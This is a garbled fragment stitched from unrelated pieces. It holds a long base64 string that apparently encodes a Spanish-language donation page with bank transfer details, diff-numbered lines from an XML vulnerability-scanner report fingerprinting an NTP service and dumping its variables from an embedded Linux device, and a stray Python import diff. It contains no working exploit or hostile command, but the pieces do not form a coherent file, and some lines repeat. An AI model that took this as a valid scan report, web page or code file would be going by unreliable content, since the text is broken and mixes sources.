zb3MsIGpvcm5hZGFzLCBjb25ncmVzb3MuPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJpbWFnZSIgc3JjPSJmb3JtX2ZpbGVzL0ZPUk1VTEFSSU9fMTUuanBnIiBoZWlnaHQ9IjM4IiB0eXBlPSJpbWFnZSIgd2lkdGg9IjExNSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBvbkNsaWNrPSJyZXR1cm4gcmVzZXQoKTsiIHNyYz0iZm9ybV9maWxlcy9ib3Rvbi1jYW5jZWxfMTUuanBnIiBoZWlnaHQ9IjM4IiB3aWR0aD0iMTE1Ij48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPC9maWVsZHNldD4KCiAgPC9mb3JtPgogIAogIDxiciAvPgo8YnIgLz4KCgoKPHRhYmxlIHdpZHRoPSI2MzMiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjAiIGFsaWduPSJsZWZ0IiBiZ2NvbG9yPSIjMjY1MjE3IiBjbGFzcz0iaDMiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMTAiIGNlbGxwYWRkaW5nPSI3Ij4KICAgICAgPHRyPgogICAgICAgIDx0ZCBjbGFzcz0iaDUiPkZPUk1BUyBERSBQQUdPPC90ZD4KICAgICAgPC90cj4KICAgIDwvdGFibGU+CiAgICAgIDxzcGFuIGNsYXNzPSJoNCI+CiAgICA8L3NwYW4+PC90ZD4KICA8L3RyPgogIDx0cj4KICAgIDx0ZCBiZ2NvbG9yPSIjQ0NDQ0NDIj48YnIgLz4KICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIxMCIgY2VsbHNwYWNpbmc9IjUiPgogICAgICA8dHI+CiAgICAgICAgPHRkIGJnY29sb3I9IiNlMDY3MGEiPiZuYnNwOyZuYnNwOzxzcGFuIGNsYXNzPSJoNSI+VGFyamV0YSBkZSBDUsOJRElUTyAocG9yIGTDqWJpdG8gYXV0b23DoXRpY28pPC9zcGFuPjwvdGQ+CiAgICAgIDwvdHI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiI+PHRhYmxlIHdpZHRoPSIxODUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkIHdpZHRoPSIxMCI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTAiPjxpbWcgc3JjPSJpbWFnZXMvdmlzYW1hc3RlcmFtZS5qcGciICB3aWR0aD0iMjM2IiBoZWlnaHQ9IjYwIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CiAgICAgICAgICA8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjciIGNlbGxwYWRkaW5nPSI1Ij4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0iaDMiPlNlIGxlIGRlYml0YXLDoSBkZSBzdSBjdWVudGEsIHRvZG9zIGxvcyBtZXNlcy4gTGUgcmVjb3JkYW1vcyBxdWUgZWwgZMOpYml0byBhdXRvbcOhdGljbyBkZSBzdSB0YXJqZXRhIGRlIGNyw6lkaXRvIHVzdGVkIGxvIHB1ZWRlIGNhbmNlbGFyIGVuIGVsIG1vbWVudG8gcXVlIGxvIGRlc2VlIGNvbXVuaWPDoW5kb3NlIGNvbiBub3NvdHJvczwvc3Bhbj48L3RkPgogICAgICAgICAgICA8L3RyPgogICAgICAgICAgPC90YWJsZT4KICAgICAgICAgIDxwPgogICAgICAgICAgPC9wPjwvdGQ+CiAgICAgIDwvdHI+CiAgICA8L3RhYmxlPgogICAgICA8cD4mbmJzcDs8L3A+CiAgICAgIDx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBhbGlnbj0iY2VudGVyIiBjZWxscGFkZGluZz0iMTAiIGNlbGxzcGFjaW5nPSI1Ij4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYmdjb2xvcj0iI2UwNjcwYSI+Jm5ic3A7IDxzcGFuIGNsYXNzPSJoNSI+RUZFQ1RJVk8gcG9yIMO6bmljYSB2ZXogPC9zcGFuPjwvdGQ+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSI3IiBjZWxscGFkZGluZz0iNSI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+PHNwYW4gY2xhc3M9ImgzIj48ZW0+VXN0ZWQgcmVhbGl6YXLDoSBsYSBkb25hY2nDs24gcG9yIMO6bmljYSB2ZXouIFB1ZWRlIGRvbmFyIGxhcyB2ZWNlcyBxdWUgcXVpZXJhLCBjb21wbGV0YW5kbyBudWV2YW1lbnRlIGVzdGUgZm9ybXVsYXJpbyBlIGluZ3Jlc2FuZG8gZWwgbW9udG8gZGVzZWFkby48L2VtPjwvc3Bhbj48L3RkPgogICAgICAgICAgICA8L3RyPgogICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSI3IiBjZWxscGFkZGluZz0iNSI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGJnY29sb3I9IiNDQ0NDQ0MiPjxzcGFuIGNsYXNzPSJoMiI+PHN0cm9uZz5Qb3IgIHRyYW5zZmVyZW5jaWEgYmFuY2FyaWEgbyBkZXDDs3NpdG88L3N0cm9uZz4gPC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSI3IiBjZWxscGFkZGluZz0iNSI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNSUiPjxzcGFuIGNsYXNzPSJoMyI+QVJHRU5USU5BPC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9Ijg1JSI+PHNwYW4gY2xhc3M9ImgzIj48aW1nIHNyYz0iaW1hZ2VzL2dhbGljaWEuanBnIiB3aWR0aD0iMTA3IiBoZWlnaHQ9IjE5IiBhbGlnbj0ibWlkZGxlIiAvPjwvc3Bhbj48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjIiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMiIgY2VsbHBhZGRpbmc9IjciPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJoMyI+RGF0b3MgcGFyYSBkZXDDs3NpdG9zIHkvbyB0cmFuc2ZlcmVuY2lhOjwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIxJSI+PHNwYW4gY2xhc3M9ImgzIj5FbnRpZGFkIEJhbmNhcmlhOiA8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9Ijc5JSI+PHNwYW4gY2xhc3M9ImgzIj5CYW5jbyBHYWxpY2lhPC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQ+PHNwYW4gY2xhc3M9ImgzIj5UaXR1bGFyIGRlIEN1ZW50YTo8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQ+PHNwYW4gY2xhc3M9ImgzIj5TYWx1ZCBBY3RpdmE8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0iaDMiPlRpcG8gZGUgY3VlbnRhOjwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0iaDMiPkN1ZW50YSBDb3JyaWVudGUgZW4gcGVzb3M8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0iaDMiPk7Dum1lcm8gZGUgY3VlbnRhOjwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0iaDMiPjU1MTctOCAwNTktNDwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkPjxzcGFuIGNsYXNzPSJoMyI+Q0JVOjwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0iaDMiPjAwNzAwNTk3MjAwMDAwMDU1MTc4NDY8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0iaDMiPkNVSVQ6PC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkPjxzcGFuIGNsYXNzPSJoMyI+MzAtNzA4MDE0NjMtNjwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjIiIGNsYXNzPSJoMyI+UkVTVE8gREVMIE1VTkRPPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIyIiBjbGFzcz0iaDMiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMiIgY2VsbHBhZGRpbmc9IjciPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJoMyI+RGF0b3MgcGFyYSBkZXDDs3NpdG9zIHkvbyB0cmFuc2ZlcmVuY2lhOjwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMSUiPjxzcGFuIGNsYXNzPSJoMyI+RW50aWRhZCBCYW5jYXJpYTogPC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI3OSUiPjxzcGFuIGNsYXNzPSJoMyI+V2FjaG92aWEgQmFuayBOLkEuIC0gTmV3IFlvcms8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0iaDMiPlN3aWZ0IEFkZHJlc3M6PC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkPjxzcGFuIGNsYXNzPSJoMyI+UE5CUFVTM05OWUM8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0iaDMiPkZlZHdpcmU6PC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkPjxzcGFuIGNsYXNzPSJoMyI+MDI2MDA1MDkyPC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgPHA+PC9wPgogICAgICAgICAgICA8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjciIGNlbGxwYWRkaW5nPSI1Ij4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0NDQ0NDQyI+PHNwYW4gY2xhc3M9ImgyIj5BY2Vyw6FuZG9zZSBhIG51ZXN0cmEgZW50aWRhZDwvc3Bhbj48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICAgIDx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBhbGlnbj0iY2VudGVyIiBjZWxscGFkZGluZz0iMTAiIGNlbGxzcGFjaW5nPSI1Ij4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgIAogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGJnY29sb3I9IiNGRkZGRkYiPjx0YWJsZSB3aWR0aD0iMzAwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7Jm5ic3A7PGltZyBzcmM9ImltYWdlcy9zYWx1ZC5qcGciIHdpZHRoPSIxNTQiIGhlaWdodD0iMzkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSI3IiBjZWxscGFkZGluZz0iNSI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJoMyI+RGlyZWNjaW9uOiBBdi4gUHRlIFBlcsOzbiAoZXggUml2YWRhdmlhKSAyNTE0MC4gTWVybG8gQnMuIEFzLjxiciAvPgogICAgICAgICAgICAgICAgICAgICAgICBUZWwuOiAwMjIwIDQ4Mjg0MTggLyA0ODYxMTgwPGJyIC8+CiAgICAgICAgICAgICAgICAgICAgICAgIEUtbWFpbDogc2FsdWRhY3RpdmFAc2FsdWRhY3RpdmEub3JnLmFyPC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICAgICAgICA8cD48L3A+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICA8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjciIGNlbGxwYWRkaW5nPSI1Ij4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0NDQ0NDQyIgY2xhc3M9ImgyIj5ESU5FUk8gTUFJTDwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIxMCIgY2VsbHNwYWNpbmc9IjUiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiI+PHRhYmxlIHdpZHRoPSIzMDAiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTAiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyOTAiPjxpbWcgc3JjPSJpbWFnZXMvZGluZXJvbWFpbC5qcGciIHdpZHRoPSI0MTEiIGhlaWdodD0iNTAiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICAgICAgICAgIDx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iNyIgY2VsbHBhZGRpbmc9IjUiPgogICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iaDMiPkltcHJpbWEgZWwgY3Vww7NuIHkgZGlyw61qYXNlIGEgbGFzIHN1Y3Vyc2FsZXMgaGFiaWxpdGFkYXMgcGFyYSByZWFsaXphciBlbCBwYWdvLiBMdWVnbyBww7NuZ2FzZSBlbiBjb250YWN0byBjb24gbm9zb3Ryb3MgcGFyYSBpbmZvcm1hcm5vcyBkZSBsYSBvcGVyYWNpw7NuLjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgICAgICAgPHA+PC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICA8L3RyPgogICAgICA8L3RhYmxlPgogICAgICA8cD48YnIgLz4KICAgIDwvcD48L3RkPgogIDwvdHI+CjwvdGFibGU+CgoKICAgICAKPC9kaXY+CgoKPCEtLWVuZCBvZiBDT05URU5JRE8yIC0tPgogICAgCiAgICA8ZGl2IGNsYXNzPSJjb250ZW5pZG8iIGlkPSJjb250ZW5pZG8zIj4KCgogICAgPC9kaXY+IDwhLS1lbmQgb2YgQ09OVEVOSURPMyAtLT4KICAgIAogICAgPGRpdiBjbGFzcz0iY29udGVuaWRvIiBpZD0iY29udGVuaWRvNCI+CiAgICAKICAgIDwvZGl2PiA8IS0tZW5kIG9mIENPTlRFTklETzQgLS0+CiAgICAKPGJyIC8+ICAgIAo8YnIgLz4KPGRpdiBjbGFzcz0iY29udGVuaWRvMiIgaWQ9ImNvbnRlbmlkbzUiIGFsaWduPSJjZW50ZXIiPjwvZGl2Pgo8cD4KICA8IS0tZW5kIG9mIENPTlRFTklETzQgLS0+CiAgPCEtLWVuZCBvZiBDT05URU5FRE9SIC0tPgo8L3A+Cgo8c2NyaXB0Pm11ZXN0cmFGb3JtYVBhZ28oZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2Zvcm1hcGFnbycpLnZhbHVlKTwvc2NyaXB0Pgo8L2JvZHk+Cgo8L2h0bWw+Cg==]]></response>
272 <responseRedirected>false</responseRedirected>
273 </requestresponse>
274 </issue>
275 </issues>
42744274 <fingerprint certainty="0.90" family="NTP" product="NTP" version="4.2.0a@1:4.2.0a+stable-8-r"/>
42754275 </fingerprints>
42764276 <configuration>
4277 <config name="ntp.variables">version=&quot;ntpd 4.2.0a@1:4.2.0a+stable-8-r Sat Aug 30 06:44:03 EDT 2008 (1)&quot;,
4278 processor=&quot;armv5tejl&quot;, system=&quot;Linux/2.6.18_pro500-davinci_IPNC_1.00&quot;,
4279 leap=0, stratum=5, precision=-17, rootdelay=663.555,
4280 rootdispersion=223.836, peer=16948, refid=61.67.210.241,
4281 reftime=0xd63ff867.7092ee84, poll=9, clock=0xd63ffb99.954b167e, state=4,
4282 offset=-29.969, frequency=6.641, noise=9.203, jitter=5.336,
4283 stability=21.220
4277 <config name="ntp.variables">version=&quot;ntpd 4.2.0a@1:4.2.0a+stable-8-r Sat Aug 30 06:44:03 EDT 2008 (1)&quot;,
4278 processor=&quot;armv5tejl&quot;, system=&quot;Linux/2.6.18_pro500-davinci_IPNC_1.00&quot;,
4279 leap=0, stratum=5, precision=-17, rootdelay=663.555,
4280 rootdispersion=223.836, peer=16948, refid=61.67.210.241,
4281 reftime=0xd63ff867.7092ee84, poll=9, clock=0xd63ffb99.954b167e, state=4,
4282 offset=-29.969, frequency=6.641, noise=9.203, jitter=5.336,
4283 stability=21.220
42844284 </config>
42854285 </configuration>
42864286 <tests>
44
55 '''
66
7 import restkit.errors
87 import model
98
109